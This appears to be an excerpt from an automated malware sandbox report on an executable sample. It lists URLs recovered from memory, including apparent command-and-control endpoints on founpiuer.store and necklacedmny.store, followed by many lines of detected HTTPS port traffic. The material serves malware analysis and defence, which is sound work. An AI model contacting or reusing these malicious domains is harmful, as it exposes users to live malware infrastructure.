Source: 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/8
Source: 06339d0580.exe, 00000015.00000003.3198687515.0000000005512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/;
Source: 06339d0580.exe, 00000027.00000003.3325446787.0000000005F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/;vZ
Source: 06339d0580.exe, 00000010.00000003.3151512068.0000000000C34000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3366225288.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/H
Source: 06339d0580.exe, 00000015.00000003.3183513979.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3198687515.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3183891128.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3110837585.0000000005512000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3098097885.0000000005512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/O
Source: 06339d0580.exe, 00000027.00000003.3325540820.0000000005F61000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3325446787.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/T
Source: 06339d0580.exe, 00000010.00000003.3158360427.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3038308600.0000000000B16000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3117252547.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3341269230.0000000005F65000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3325540820.0000000005F61000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3305928849.00000000017DB000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3325446787.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3289690622.0000000001755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api
Source: 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2982854511.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api&
Source: 06339d0580.exe, 00000015.00000002.3362375793.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api3
Source: 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/api8
Source: 06339d0580.exe, 00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apiNc
Source: 06339d0580.exe, 00000027.00000003.3325540820.0000000005F61000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3325446787.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apiVML1
Source: 06339d0580.exe, 00000015.00000003.3117252547.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apieJ
Source: 06339d0580.exe, 00000015.00000003.3117476776.0000000000B19000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3117252547.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apief
Source: 06339d0580.exe, 00000027.00000002.3372485323.000000000174D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apit
Source: 06339d0580.exe, 00000010.00000003.2982936325.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365003139.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3158360427.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/apit)C
Source: 06339d0580.exe, 00000010.00000003.2982854511.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2862086154.0000000000BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/d
Source: 06339d0580.exe, 00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/ge.dll
Source: 06339d0580.exe, 00000010.00000003.2909600994.0000000000C33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/kM
Source: 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/ksP
Source: 06339d0580.exe, 00000010.00000003.2982854511.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3198997408.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3372485323.00000000017D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/pi
Source: 06339d0580.exe, 00000010.00000003.3158561010.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.3152254811.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3365958651.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/piH
Source: 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store/sx
Source: 06339d0580.exe, 00000010.00000003.2909600994.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2909700442.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3362375793.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/api
Source: 06339d0580.exe, 00000027.00000003.3289690622.0000000001755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apiIoi
Source: 06339d0580.exe, 00000015.00000002.3362375793.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3372485323.0000000001755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apical
Source: 06339d0580.exe	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4
Source: 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: https://mozilla.org0/
Source: 06339d0580.exe, 00000027.00000003.3289690622.0000000001755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 2cc80dabc69f58b6_0.27.dr	String found in binary or memory: https://ntp.msn.com
Source: QuotaManager.27.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13375309960092650.27.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.27.dr, QuotaManager-journal.27.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: QuotaManager.27.dr, QuotaManager-journal.27.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default/
Source: 2cc80dabc69f58b6_0.27.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_448.20.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_448.20.dr	String found in binary or memory: https://plus.googleapis.com
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://support.mozilla.org
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 06339d0580.exe, 00000027.00000003.3354086318.0000000006040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: chromecache_448.20.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: 06339d0580.exe, 06339d0580.exe, 00000010.00000003.2929205064.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3096006503.0000000005525000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 06339d0580.exe, 00000010.00000003.2929205064.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2982936325.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xp
Source: 06339d0580.exe, 00000010.00000003.2862086154.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2862052966.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2862483096.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3198997408.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3289690622.000000000178B000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3289647193.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3289690622.000000000176C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 06339d0580.exe, 00000010.00000003.2862086154.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2862483096.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3289690622.000000000178B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-
Source: 06339d0580.exe, 00000010.00000003.2862052966.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3198997408.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3289647193.00000000017CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: softokn3.dll.17.dr, nss3[1].dll.17.dr, nss3.dll.17.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 06339d0580.exe, 00000010.00000003.2879837722.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879729173.0000000005674000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089957968.0000000001575000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192769347.00000000238BE000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040692684.0000000005547000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326309301.0000000005F9A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3326979179.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311420882.0000000005F9C000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3311597889.0000000005F38000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fd68177a-5e8d-4d7d-88fd-748bc5dd64e4.tmp.28.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_448.20.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_448.20.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: 06339d0580.exe, 00000010.00000003.2911268530.000000000572A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3079625277.0000000005542000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3352988320.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 06339d0580.exe, 00000010.00000003.2911268530.000000000572A000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3079625277.0000000005542000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000003.3352988320.0000000005F71000.00000004.00000800.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://www.mozilla.org
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://www.mozilla.org#
Source: 2bbe886987.exe, 00000011.00000002.3359810844.0000000000836000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 2bbe886987.exe, 00000011.00000002.3359810844.0000000000836000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BGIJJKKJJDAAAAAKFHJJDGDAFB.17.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 06339d0580.exe, 06339d0580.exe, 00000010.00000003.2929205064.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3406168899.0000000023915000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3096006503.0000000005525000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000027.00000002.3388500778.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
